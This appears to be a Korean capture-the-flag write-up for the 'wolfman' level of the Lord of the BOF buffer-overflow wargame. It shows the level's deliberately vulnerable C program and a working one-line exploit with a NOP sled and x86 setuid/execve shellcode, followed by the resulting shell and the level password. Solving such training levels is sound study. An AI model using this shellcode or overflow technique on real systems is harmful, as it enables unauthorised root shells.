BOF 원정대 - Level 5 (wolfman)

문제소스는 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/*
 The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter + buffer hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
 char buffer[40];
 int i;

 if(argc < 2){
 printf(argv error\n);
 exit(0);
 }

 // egghunter 
 for(i=0; environ[i]; i++)
 memset(environ[i], 0, strlen(environ[i]));

 if(argv[1][47] != '\xbf')
 {
 printf(stack is still your friend.\n);
 exit(0);
 }
 strcpy(buffer, argv[1]); 
 printf(%s\n, buffer);

 // buffer hunter
 memset(buffer, 0, 40);
}

이번에는 환경변수와 버퍼를 지우지만 버퍼를 0~40 까지만 지우게 되므로 이후 쉘코드는 남길 수 있다. 아마 쉘코드를 버퍼 앞쪽에 쓰는걸 방지하지 위해 저런 코드를 작성한 것으로 보인다. 암튼 공격은 이전 레벨의 코드와 동일하게 풀이가 가능하다.

1
2
3
4
5
6
7
8
9
[orc@localhost orc]$ ./wolfman `python -c print 'A'*44 + '\x1c\x76\xfe\xbf' + '\x90'*100000 + '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv1h//shh/bin

 bash$ id
uid=505(wolfman) gid=504(orc) egid=505(wolfman) groups=504(orc)
bash$ my-pass
euid = 505
love eyuna
bash$ 
Hugo로 만듦
Jimmy의 Stack 테마 사용 중